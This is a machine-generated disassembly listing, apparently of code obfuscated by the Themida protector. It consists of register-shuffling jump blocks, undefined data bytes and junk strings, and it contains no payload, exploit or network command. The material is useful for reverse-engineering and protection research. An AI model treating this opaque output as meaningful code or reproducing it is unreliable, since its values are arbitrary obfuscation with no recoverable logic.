		dd 8704E883h, 895C2404h, 0D1E92424h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546BC7:				; CODE XREF: Themida_:005471D3j
		push	4820h
		mov	[esp], ebp
		mov	ebp, 1
		add	esi, ebp
		jmp	loc_54A325
; ---------------------------------------------------------------------------
		db 89h
		dd 21B7241Ch, 9DB15152h, 0F6E95CB2h, 0BA0000B2h, 0E3B2Bh
		dd 69E5F281h, 0D00151D0h, 49F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_546BFD:				; CODE XREF: Themida_:0054E26Cj
		pop	ebx
		jmp	loc_54F0D3
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	58542404h, 405h
		dd 6AFD6800h, 3C890000h, 4EC8124h, 89000000h, 72E92414h
		dd 89000096h, 4832424h,	815B0424h, 4C3h, 4BF5700h, 1000000h
		dd 1C875FFBh, 24248B24h, 0FFFD57E9h, 2434FFFFh,	1586E9h
		dd 0E95B6600h, 0B28Ch
; ---------------------------------------------------------------------------


loc_546C64:				; CODE XREF: Themida_:00548A7Bj
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_54FFAB
; ---------------------------------------------------------------------------


loc_546C6D:				; CODE XREF: Themida_:0054BE9Dj
		push	ebx
		jmp	loc_54ED5B
; ---------------------------------------------------------------------------
byte_546C73	db 0FFh			; DATA XREF: Themida_:005462F0o
		dd 0E9582434h, 0FFFFF8AAh, 4343E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546C82:				; CODE XREF: Themida_:0054D23Bj
		add	ecx, edi
		jmp	loc_54AA42
; ---------------------------------------------------------------------------


loc_546C89:				; CODE XREF: Themida_:0054D5B7j
		jz	loc_54A5EF
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 14D03B2Eh
		mov	eax, ebx
		jmp	loc_54FF0A
; ---------------------------------------------------------------------------


loc_546CA2:				; CODE XREF: Themida_:00549CDBj
		push	eax
		jmp	loc_54DC9C
; ---------------------------------------------------------------------------
		dd 8005C280h, 7AE9D9C2h, 6600008Dh, 22474FFh, 2259E9h
		db 0
byte_546CBD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00546444o
aHi5		db '$h⌡5',0
		align 2
		dw 3489h
		dd 815E5424h, 4C6h, 0E9525100h,	0FFFFFCB5h
; ---------------------------------------------------------------------------


loc_546CD8:				; CODE XREF: Themida_:005483FDj
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5490FE
; ---------------------------------------------------------------------------
aRhK2zsfc	db 'Rh[k^2ZИf≈',0
		align 2


loc_546CF2:				; CODE XREF: Themida_:0054C92Cj
		add	ebx, 4
		jmp	loc_550C13
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 2C48324h, 0C8BEF88h,	4C48124h, 83000000h, 896602ECh
		dd 1B5240Ch, 472AE9h, 24048900h, 4EBE5652h, 0BA57AC72h
		dd 5B53C252h, 315EF229h, 5A042454h, 80BE5658h, 5551F054h
		dd 1A5CECBDh, 5DEE2979h, 0E8EE681h, 0C68122A3h,	4E05DB4h
		dd 6B2768h, 242C8900h, 2E46E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2E1D5CC6h
		inc	ecx
		jmp	loc_54C611
; ---------------------------------------------------------------------------
aZssq		db 'ZИА÷',0
		align 4
		dd 8007E2C0h, 0D030E2C2h, 8124148Bh, 4C4h, 2A57E900h, 0E95E0000h
		dd 61DBh
; ---------------------------------------------------------------------------


loc_546DA0:				; CODE XREF: Themida_:0054E234j
		add	ecx, 4
		jmp	loc_54B26D
; ---------------------------------------------------------------------------
aFsFSL		db 'fSЁд',8,'ьf[И&╚',0
		align 4
		dd 2D24F905h, 4875D74h,	24248B24h, 24148966h, 63B75350h
		dd 7AAEE9h, 0E9C15C00h,	0A064E907h, 4890000h, 4B824h, 0C3890000h
		dd 8BDE0158h, 0C481241Ch, 4, 2474FF56h,	48F5E04h, 0EC835C24h
		dd 85BEE904h, 0EFC10000h, 6E7C102h, 803B850h, 0D8F7569Bh
		dd 0DB2EB625h, 23E73574h, 0D3545E1h, 29FCE8CAh,	0EF8158C7h
		dd 47D37D12h, 2D09E9h, 242C8900h, 77FCBA52h, 0BE5647DFh
		dd 713E7268h, 5DFF70BDh, 9AB4E9C4h, 0CE810000h,	7A717D02h
		dd 0FF3CF681h, 0F701FBF5h, 8124348Bh, 4C4h, 243C8700h
		dd 0AE95E9h, 81E78900h,	4C7h, 4C78100h,	87000000h, 515C243Ch
		dd 34FEE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546E7E:				; CODE XREF: Themida_:0054AE73j
		xor	ebp, eax
		pop	eax
		and	ebp, 20DC1520h
		xor	ebp, 4E655655h
		add	eax, ebp
		jmp	loc_548CE8
; ---------------------------------------------------------------------------


loc_546E94:				; CODE XREF: Themida_:0054CCA4j
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_54DB5C
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0BB530000h, 132413h,	10EB8143h, 0E9001324h, 1CF8h, 3506E8C1h
		dd 58910DB4h, 290DE9h, 6A685600h, 0E900001Ah, 0AFC2h
; ---------------------------------------------------------------------------


loc_546ECC:				; CODE XREF: Themida_:00549176j
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54937B
; ---------------------------------------------------------------------------
		dd 0CBE97F04h, 89000008h, 0E6892434h, 57E9E9h
		db 0
byte_546EF5	db 8Fh,	47h, 40h	; DATA XREF: Themida_:00546460o
		dd 0FFF5EEE9h, 242489FFh, 4240483h, 81241C8Bh, 4C4h, 4C38100h
		dd 81000000h, 4ECh, 240C8900h, 4193E9h,	4EC8100h, 89000000h
		dd 4BA2414h, 0E9000000h, 0F77h
dword_546F34	dd 24048B66h, 34FF5455h, 0C4835D24h, 0A4B95104h, 0C1197B6Eh
					; DATA XREF: Themida_:0054621Co
		dd 0E94107E9h, 5F72h
; ---------------------------------------------------------------------------


loc_546F50:				; CODE XREF: Themida_:00551A95j
		mov	[esp], esi
		push	esp
		pop	esi
		push	eax
		push	ebp
		mov	ebp, 6C4F4934h
		mov	eax, 6C4F4938h
		sub	eax, ebp
		jmp	loc_548DFB
; ---------------------------------------------------------------------------
		dd 8103E1C1h, 7602C3C9h, 0D3E95521h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546F77:				; CODE XREF: Themida_:0054CC5Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	ebx
		jmp	loc_54B952
; ---------------------------------------------------------------------------


loc_546F8B:				; CODE XREF: Themida_:0054D381j
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_5486FD
; ---------------------------------------------------------------------------
aS_5		db ')бИ╦:',0
		dd 58C28900h, 10F3EA81h, 0C28106FFh, 22241881h,	7B66E9h
		dd 2474FF00h, 243C8B04h, 8731E9h, 0D3DEB800h, 0B7E9DC97h
		dd 5500000Bh, 0FC4744BDh, 3E5C142h, 0C5E4C581h,	0E4E9E81Dh
		dd 0C10000A2h, 0B95105EFh, 731B3E64h, 0D45E9h
		db 0
; ---------------------------------------------------------------------------


loc_546FE9:				; CODE XREF: Themida_:005495F5j
		xchg	ebp, [esp]
		jmp	loc_551C08
; ---------------------------------------------------------------------------
		db 31h,	0C3h, 66h
		dd 8124148Bh, 4ECh, 240C8900h, 0B51FE9h, 2E0C000h, 0D0F6FF04h
		dd 1BE94F2Ch, 80000098h, 0FC880EEFh, 5BFC005Bh,	0E9FFC480h
		dd 6935h, 3A1368h, 242C8900h, 77E95D54h, 1000062h, 0FA295FFAh
		dd 7F16EA81h, 3C8B58FDh, 0E1895124h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 627EEA81h, 0EA816417h,	575C7004h, 0B1A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_547065:				; CODE XREF: Themida_:00550EAAj
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, esi
		pop	esi
		jmp	loc_548868
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 8002h, 3191C381h, 34FF5B8Dh,	0C4815A24h, 4, 2C381h
		dd 0FF530000h, 0E9042474h, 1A15h
; ---------------------------------------------------------------------------


loc_54709C:				; CODE XREF: Themida_:00549200j
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		jmp	loc_54C9ED
; ---------------------------------------------------------------------------
		db 0B8h, 0C4h, 15h
		dd 8BE93618h, 5D0000B4h, 0EB81EB01h, 304532A2h,	0E92434FFh
		dd 897Dh
; ---------------------------------------------------------------------------


loc_5470C4:				; CODE XREF: Themida_:0054C0B8j
		push	2C38h
		mov	[esp], esi
		push	3449h
		mov	[esp], eax
		push	342Bh
		mov	[esp], ebp
		jmp	loc_54F04C
; ---------------------------------------------------------------------------
		db 29h,	0F2h, 5Eh
		dd 95ABF57h, 0FA3148CAh, 5717E9h, 34FF5B00h, 0C4815D24h
		dd 4, 0F3E9E9C3h, 0E2B6FFFFh, 148BF028h, 0E7895724h, 4C781h
		dd 0C7830000h, 243C8704h, 53665A5Ch, 4EC81h, 14890000h
		dd 6856B224h, 65CBh, 0FFF40EE9h
		db 0FFh
byte_547131	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005463D0o
		dd 0D259669Dh, 0E99C2414h, 0FFFFF3ABh
aMs		db '╛И~,',0             ; DATA XREF: Themida_:00546404o
		align 2
word_547146	dw 77FFh		; DATA XREF: Themida_:005462D4o
		dd 19589D1Ch, 0E99C2404h, 0FFFFF397h
; ---------------------------------------------------------------------------


loc_547154:				; CODE XREF: Themida_:0054A16Bj
		pop	eax
		add	esp, 4
		push	ebx
		push	18D0h
		mov	[esp], esi
		push	6D0A7A95h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esi, 2D393F9Dh
		add	esi, 65BC460Eh
		mov	ebx, esi
		pop	esi
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54CD1F
; ---------------------------------------------------------------------------


loc_5471AB:				; CODE XREF: Themida_:005504F6j
		sub	edx, ebp
		pop	ebp
		shr	edx, 8
		add	edx, 0FFFFFFFFh
		sub	edx, 0C4E87F88h
		mov	ebx, edx
		pop	edx
		push	ebx
		xor	dword ptr [esp], 722D3C9Eh
		pop	esi
		xor	esi, 722D3C9Eh
		pop	ebx
		shr	esi, 4
		jmp	loc_546BC7
; ---------------------------------------------------------------------------
dword_5471D8	dd 24048B66h, 48D068h, 242C8900h, 0E953E589h, 60DBh
					; DATA XREF: Themida_:00546478o
; ---------------------------------------------------------------------------


loc_5471EC:				; CODE XREF: Themida_:0054BF3Dj
		pop	edx
		add	edx, 4
		jmp	loc_550516
; ---------------------------------------------------------------------------
		dd 815AD129h, 0EE331EE1h, 0E9E9D14Eh, 69ADh, 0EEF5814Dh
		dd 0E9554325h, 3A17h, 5324248Bh, 4EC8351h, 88241489h, 0F78853C6h
		dd 1C8BF988h, 4C48324h,	5A2434FFh, 5004C483h, 3F1FE9h
		dd 0EC815100h, 4, 0B3241C89h, 5BDD88B2h, 0EA885266h, 0D588D2F6h
		dd 24148B66h, 8758E9h, 242C8900h, 0C5815D54h, 4, 5490E951h
		dd 0E2890000h, 4C281h, 11E90000h, 0B9000088h, 6E9E4287h
		dd 0C103E9C1h, 3FE908E9h, 57FFFFF8h, 185C5BBFh,	7E7C164h
		dd 782DE9h, 0E9FB0400h,	0B11Dh
; ---------------------------------------------------------------------------


loc_54729C:				; CODE XREF: Themida_:0054B2E4j
		push	ecx
		mov	ecx, ebx
		push	ecx
		push	esi
		mov	esi, 33967CA6h
		jmp	loc_54A948
; ---------------------------------------------------------------------------
		db 33h
		dd 1CE9240Ch
		db 0Dh,	2 dup(0)
byte_5472B3	db 0FFh			; DATA XREF: Themida_:00546368o
		dd 34FF3C77h, 24048B24h, 4C481h, 89560000h, 1E3AE9E6h
		dd 4890000h, 3C7BB824h,	0BD5578D7h, 78D73C7Fh, 2C8BE831h
		dd 4C48124h, 1000000h, 0BE5658C5h, 4E8114C8h, 0EFFF681h
		dd 0E6C11A3Dh, 6873E908h, 0BF570000h, 27C1E564h, 6C3BC681h
		dd 0E9532B79h, 9341h, 0EA477BBAh, 52424A56h, 5A2414F7h
		dd 486DBD55h, 0EA01B013h, 226AE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547326:				; CODE XREF: Themida_:00548AF2j
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5488DF
; ---------------------------------------------------------------------------
		db 0BDh, 0C3h, 2Eh
		dd 0E9092084h, 6E1C15Dh, 5653D9F7h, 72237CBEh, 6459E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547352:				; CODE XREF: Themida_:0055030Cj
		push	7257h
		jmp	loc_547497
; ---------------------------------------------------------------------------
aLSU		db '▀$$ИмU',0
		align 4


loc_547364:				; CODE XREF: Themida_:0054F6D7j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5514F3
; ---------------------------------------------------------------------------
		dd 1173CF81h, 0C7813D0Ah, 693E7A60h, 7DA5C781h,	0F9891FBEh
		dd 449EE9h
		db 0
; ---------------------------------------------------------------------------


loc_547395:				; CODE XREF: Themida_:0054A6D3j
		or	esi, 5AA60D0Ch
		xor	esi, 8BF4BDDDh
		xor	eax, esi
		pop	esi
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, 0FAC9FB14h
		add	eax, edx
		pop	edx
		push	ecx
		mov	ecx, eax
		mov	edx, ecx
		pop	ecx
		pop	eax
		and	ecx, edx
		push	dword ptr [esp]
		jmp	loc_5524E8
; ---------------------------------------------------------------------------
aMqspq		db '╛QИpq',0            ; DATA XREF: Themida_:0054649Co
		align 2
aHr		db 'hЮ~',0              ; DATA XREF: Themida_:005462D8o
		dw 8900h
		dd 168242Ch, 8B000000h,	0C483242Ch, 1C6F0904h, 5D2434FFh
		dd 5E08950h, 4,	4B951h,	0E8E90000h, 87000069h, 0C6E949E9h
		dd 8100005Ch, 8F4B7EEEh, 2AEE81A2h, 0F7690639h,	7EEC1DEh
		dd 53BBE681h, 0EE814A6Fh, 89C7E740h, 315EF389h,	0C8315BD9h
		dd 82CDE9h, 245C0100h, 0E95E5B04h, 35CAh
; ---------------------------------------------------------------------------


loc_547434:				; CODE XREF: Themida_:0054ED62j
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_552047
; ---------------------------------------------------------------------------


loc_54744A:				; CODE XREF: Themida_:0054BEE1j
		mov	edx, 51736D5Fh
		add	edx, 0FFFFFFFFh
		push	ebp
		jmp	loc_549358
; ---------------------------------------------------------------------------


loc_547458:				; CODE XREF: Themida_:00548DE5j
		push	ecx
		jmp	loc_550311
; ---------------------------------------------------------------------------


loc_54745E:				; CODE XREF: Themida_:005520BAj
		pop	ebx
		add	esp, 4
		and	ecx, edx
		pop	edx
		shr	ecx, 0Ah
		push	edi
		mov	edi, esp
		jmp	loc_54840F
; ---------------------------------------------------------------------------


loc_547470:				; CODE XREF: Themida_:0054A69Aj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_54A941
; ---------------------------------------------------------------------------
		dw 1BEh
		dd 4632836Bh, 2E6C14Eh,	0AC06F681h, 0E5E9CA0Dh
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547497:				; CODE XREF: Themida_:00547357j
		mov	[esp], edi
		jmp	loc_54E763
; ---------------------------------------------------------------------------
byte_54749F	db 66h			; DATA XREF: Themida_:00546248o
		dd 5224048Bh, 24148B54h, 4C481h, 0C2810000h, 4,	3ABF5755h
		dd 0E9343633h, 0A8C0h, 0A068E905h, 0AE5BE94Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5474CA:				; CODE XREF: Themida_:00550CB4j
		sub	esi, 67F03082h
		add	esi, 26642B84h
		sub	esi, 0C2740302h
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_54A8AE
; ---------------------------------------------------------------------------


loc_5474F0:				; CODE XREF: Themida_:0055209Cj
		mov	[esp], edi
		push	ebp
		mov	ebp, 7671252Fh
		shr	ebp, 1
		xor	ebp, 4ABDD413h
		push	ebp
		pop	edi
		pop	ebp
		xor	edi, 496805B2h
		shr	edi, 5
		add	edi, 1
		push	6A9h
		mov	[esp], ecx
		mov	ecx, 4B137470h
		neg	ecx
		or	ecx, 66623B8Ch
		and	ecx, 549C6C47h
		sub	ecx, 5344BDEAh
		xor	edi, ecx
		pop	ecx
		and	eax, edi
		pop	edi
		or	eax, eax
		jmp	loc_54FB9B
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0BF570000h, 3EEB68EEh, 39FCBB53h, 0DF0175FBh
		dd 1C7815Bh, 0C1000000h, 0CF8102E7h, 9B2C2Ah, 1FB9514Fh
		dd 0F7048479h, 0D2C981D9h, 0C1286173h, 0D9F708E1h, 5D55F181h
		dd 56E9A86Ch
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547583:				; CODE XREF: Themida_:00551925j
		shl	bl, 6
		xor	bl, 5
		jmp	loc_5526B5
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 40843CBEh, 4857E281h, 81423B7Bh, 0F2C8AFC2h,	0E9D001D0h
		dd 2CC5h, 0E905E0C1h, 0FFFFF141h, 0C581E589h, 4, 4C581h
		dd 2C870000h, 68535C24h, 2DD0h,	0E9242489h, 9AF3h, 83242C8Bh
		dd 0FEE904C4h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5475DB:				; CODE XREF: Themida_:0054792Cj
		or	eax, eax
		jnz	loc_55086A
		push	ecx
		push	ebx
		mov	ebx, 46756ED8h
		mov	ecx, 5A566B84h
		xor	ecx, ebx
		jmp	loc_54A4AA
; ---------------------------------------------------------------------------


loc_5475F6:				; CODE XREF: Themida_:0054CE89j
		mov	eax, 6C9266B3h
		xor	eax, 229527F2h
		sub	eax, 6C454801h
		sub	eax, 0FFFFFFFFh
		xor	eax, 0B4F6A455h
		mov	[edx+30h], eax
		mov	eax, [esp]
		add	esp, 4
		sub	[edx+30h], ebp
		pop	ebp
		popa
		popf
		jmp	locret_54C405
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9D8005Bh, 7F99h, 0BF57CB01h, 762226DFh, 595FFB29h
		dd 5BCA68h, 0BB2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547642:				; CODE XREF: Themida_:005467D4j
		or	esi, 6C365CA8h
		shr	esi, 4
		push	ebx
		mov	ebx, 279C5D38h
		or	ebx, 19120F16h
		neg	ebx
		sub	ebx, 57807000h
		add	ebx, 4A3E0573h
		push	3D97h
		mov	[esp], ebp
		push	edi
		mov	edi, 278C2726h
		mov	ebp, edi
		pop	edi
		sub	ebp, 0B521BE50h
		xor	ebx, ebp
		pop	ebp
		add	ebx, 93310AFCh
		xor	esi, ebx
		pop	ebx
		sub	esi, 0FD3DC11Ch
		push	esi
		sub	dword ptr [esp], 49C52032h
		pop	ebp
		push	eax
		jmp	loc_54CE6F
; ---------------------------------------------------------------------------
		db 0E9h, 49h, 0EEh
		dd 0EA80FFFFh, 0BBC28002h, 0A8A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5476AD:				; CODE XREF: Themida_:0055051Cj
		xchg	edx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_54CC49
; ---------------------------------------------------------------------------


loc_5476BB:				; CODE XREF: Themida_:00549C8Bj
		pop	esp
		jmp	loc_54A32B
; ---------------------------------------------------------------------------


loc_5476C1:				; CODE XREF: Themida_:005526B8j
		mov	al, bl
		pop	ebx
		jmp	loc_54F426
; ---------------------------------------------------------------------------
byte_5476C9	db 68h,	0C8h, 7		; DATA XREF: Themida_:005462FCo
		dd 14890000h, 1F63E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5476D6:				; CODE XREF: Themida_:005466B0j
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 971A4B01h
		jmp	loc_54A72A
; ---------------------------------------------------------------------------


loc_5476EA:				; CODE XREF: Themida_:0054DD54j
		push	3034h
		mov	[esp], edx
		xor	dword ptr [esp], 51926EC5h
		pop	esi
		xor	esi, 51926EC5h
		pop	edx
		and	ebx, esi
		jmp	loc_5510CF
; ---------------------------------------------------------------------------
dword_547708	dd 24048B66h, 44B3E9h	; DATA XREF: Themida_:00546488o
		db 0
; ---------------------------------------------------------------------------


loc_547711:				; CODE XREF: Themida_:005495DBj
		add	eax, 3CF3208Fh
		pop	edx
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1
		push	ebp
		mov	ebp, 55B119D4h
		jmp	loc_54AD05
; ---------------------------------------------------------------------------
		db 81h
		dd 1B7B48C2h, 9BC28104h, 5E5B4F68h, 0FFEDAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547741:				; CODE XREF: Themida_:0054B515j
		xor	dword ptr [esp], 440B4130h
		jmp	loc_54B330
; ---------------------------------------------------------------------------


loc_54774D:				; CODE XREF: Themida_:00547E97j
		push	3395h
		jmp	loc_54A888
; ---------------------------------------------------------------------------
		db 68h
		dd 21F203D3h, 8124348Bh, 4C4h, 8DC68100h, 5716057Bh, 2C781BBFh
		dd 474F4760h, 0AADCE9h
		db 0
; ---------------------------------------------------------------------------


loc_547779:				; CODE XREF: Themida_:0054861Bj
		shr	ecx, 2
		dec	ecx
		dec	ecx
		not	ecx
		shr	ecx, 8
		or	ecx, 11A13044h
		jmp	loc_54DAA4
; ---------------------------------------------------------------------------


loc_54778E:				; CODE XREF: Themida_:00549629j
		mov	[esp], edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		jmp	loc_548E1F
; ---------------------------------------------------------------------------
aSSasd		db 'SЁХ─И╓',0
		db 0D9h, 0E9h, 0E2h
		dd 81000001h, 6B5492F1h, 25F1E9C7h, 0C8000000h,	8B667F2Ch
		dd 0D6E9240Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5477C3:				; CODE XREF: Themida_:0054E3DAj
		pop	edi
		add	esi, 4
		jmp	loc_54FBC4
; ---------------------------------------------------------------------------
		dd 0F3798705h, 617B2D6Ah, 0BB532CA1h, 7BFB2E15h, 0F409E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5477E2:				; CODE XREF: Themida_:0054B8BFj
		sub	edi, 12265E7Fh
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_55091D
; ---------------------------------------------------------------------------
		dd offset dword_438768
		align 2
		dw 1489h
		dd 4BA24h, 0BF570000h, 176C7B58h, 67E9D7F7h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547813:				; CODE XREF: Themida_:0054CEE6j
		push	edi
		jmp	loc_54B3EF
; ---------------------------------------------------------------------------
		db 58h,	83h, 0C7h
		dd 243C8702h, 13D0E9h, 84B75300h, 1C8BF888h, 4C48124h
		dd 24000000h, 9810E95Fh, 815F0000h, 531DF2F3h, 5BDA0120h
		dd 480CE957h, 0EC830000h, 0A87BE904h, 94E90000h, 29FFFFECh
		dd 0F55AE9E8h, 0E950FFFFh, 397Ch, 0AA784305h, 241C8B6Ah
		dd 504C483h, 7A707A16h,	1E8168h, 5472E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54787E:				; CODE XREF: Themida_:005499F9j
		xor	eax, 7EB73B6Bh
		jmp	loc_54D132
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0ACE92434h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547893:				; CODE XREF: Themida_:0054D029j
		or	edx, eax
		shl	edx, 1
		push	ebp
		mov	ebp, 0B950A68h
		sub	ebp, 0FFFFFFFFh
		jmp	loc_549D24
; ---------------------------------------------------------------------------


loc_5478A5:				; CODE XREF: Themida_:00549FE8j
		sub	ebx, 21051E55h
		jmp	loc_54C4E2
; ---------------------------------------------------------------------------
dword_5478B0	dd 0E924148Bh, 7EA3h, 0CEF28059h, 613E9h, 240C8700h, 5524248Bh
					; DATA XREF: Themida_:005463D4o
		dd 6026D1BDh, 8BEB294Fh, 8956242Ch, 4C681E6h, 0E9000000h
		dd 44F4h, 0BA52E689h, 4, 9EE9D601h, 28000040h, 4EC81D0h
		dd 89000000h, 0C5B1240Ch, 5A59C800h, 0FFF934E9h
		db 0FFh
byte_547905	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005463E4o
		dd 1F18E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54790E:				; CODE XREF: Themida_:0054D6A6j
		inc	edi
		dec	edi
		add	edi, 6D0B3FA1h
		mov	eax, edi
		pop	edi
		sub	eax, 0B4D400Eh
		jmp	loc_547D8B
; ---------------------------------------------------------------------------


loc_547923:				; CODE XREF: Themida_:0054A326j
		add	esi, 0FC4EE9B9h
		and	eax, esi
		pop	esi
		jmp	loc_5475DB
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 5Ch
		dd 81180F73h, 5A7E16C2h, 81F22941h, 5A7E16EAh, 753EE941h
		dd 0CEB90000h, 31213A56h, 2434FFF1h, 4C4815Eh, 53000000h
		dd 5843E9h, 4BE00h, 0C3810000h,	3C09626Ah, 0EB81F329h
		dd 3C09626Ah, 4EC815Eh,	89000000h, 74FF241Ch, 34FF0424h
		dd 241C8B24h, 71A0E9h, 0A4C18000h, 0AB5E9h, 0C5815D00h
		dd 4, 2BB53h, 0DD010000h, 2511E9h, 0E1885100h, 0DBE9CA88h
		dd 88000013h, 48B59CBh,	4C48324h, 6A68D3F6h, 8900001Fh
		dd 88502414h, 58E688DCh, 5061E953h, 0C6810000h,	0A006C8Fh
		dd 64B2C681h, 0F10999D3h, 0F2E9815Eh, 0E913D74Fh, 79F3h
		dd 31241433h, 14332414h, 0E8EE924h, 0B60F0000h,	6764E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547A02:				; CODE XREF: Themida_:0054802Bj
		pop	eax
		push	ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54EFE4
; ---------------------------------------------------------------------------
		dw 0DEB9h
		dd 319DD3F3h, 0DE8959CBh, 0AA4BE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547A22:				; CODE XREF: Themida_:0054A5F3j
		push	eax
		mov	eax, 4
		mov	ebx, eax
		jmp	loc_549BE5
; ---------------------------------------------------------------------------


loc_547A2F:				; CODE XREF: Themida_:0054B988j
		and	edi, 1CE154D1h
		add	edi, 8046355h
		sub	esi, edi
		pop	edi
		jmp	loc_54CB5E
; ---------------------------------------------------------------------------


loc_547A43:				; CODE XREF: Themida_:00546753j
		rep movsd
		jmp	loc_549B3F
; ---------------------------------------------------------------------------
		dw 0C268h
		dd 5D7F2D71h, 32E1C581h, 74E96A16h, 10000A3h, 70E95BD8h
		dd 89000049h, 98BB241Ch, 0E9502757h, 7ED5h, 33243C31h
		dd 6EE9243Ch
		db 0ABh, 2 dup(0)
byte_547A7B	db 0FFh			; DATA XREF: Themida_:005463ACo
		dd 589D1C77h, 9C240411h, 0FFEA62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547A89:				; CODE XREF: Themida_:0054B953j
		mov	eax, 64C82C65h
		jmp	loc_54A5F8
; ---------------------------------------------------------------------------


loc_547A93:				; CODE XREF: Themida_:0054BCEDj
		pop	esi
		push	ecx
		jmp	loc_549E93
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 36EF777Dh, 0FFBD555Fh, 29FFFFFFh, 0EA815DEAh, 9C3552Eh
		dd 0AD5E9h, 6C77B800h, 442970E4h, 81580424h, 23E22404h
		dd 4297421h, 242C8124h,	742123E2h, 77240481h, 6870E46Ch
		dd 3949h, 56241489h, 181248BEh,	1FEE8152h, 8102083Ch, 6829FEEEh
		dd 0FFC6832Fh, 9B0AE9h
		db 0
; ---------------------------------------------------------------------------


loc_547AF9:				; CODE XREF: Themida_:0054B148j
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_549625
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 68F1F724h, 1253h, 54241C89h,	81241C8Bh, 4C4h, 4C38100h
		dd 56000000h, 0FFFE24E9h, 0B7E95EFFh, 0F6000029h, 59E888D5h
		dd 5866C588h, 0E925ED80h, 4EEFh, 0E9240C8Bh, 1997h, 4CEE8166h
		dd 85D3E91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547B66:				; CODE XREF: Themida_:00549634j
		mov	ecx, 4D05171Fh
		add	ebp, ecx
		pop	ecx
		xor	ebp, 93F24D45h
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_551C5F
; ---------------------------------------------------------------------------
		dw 0C329h
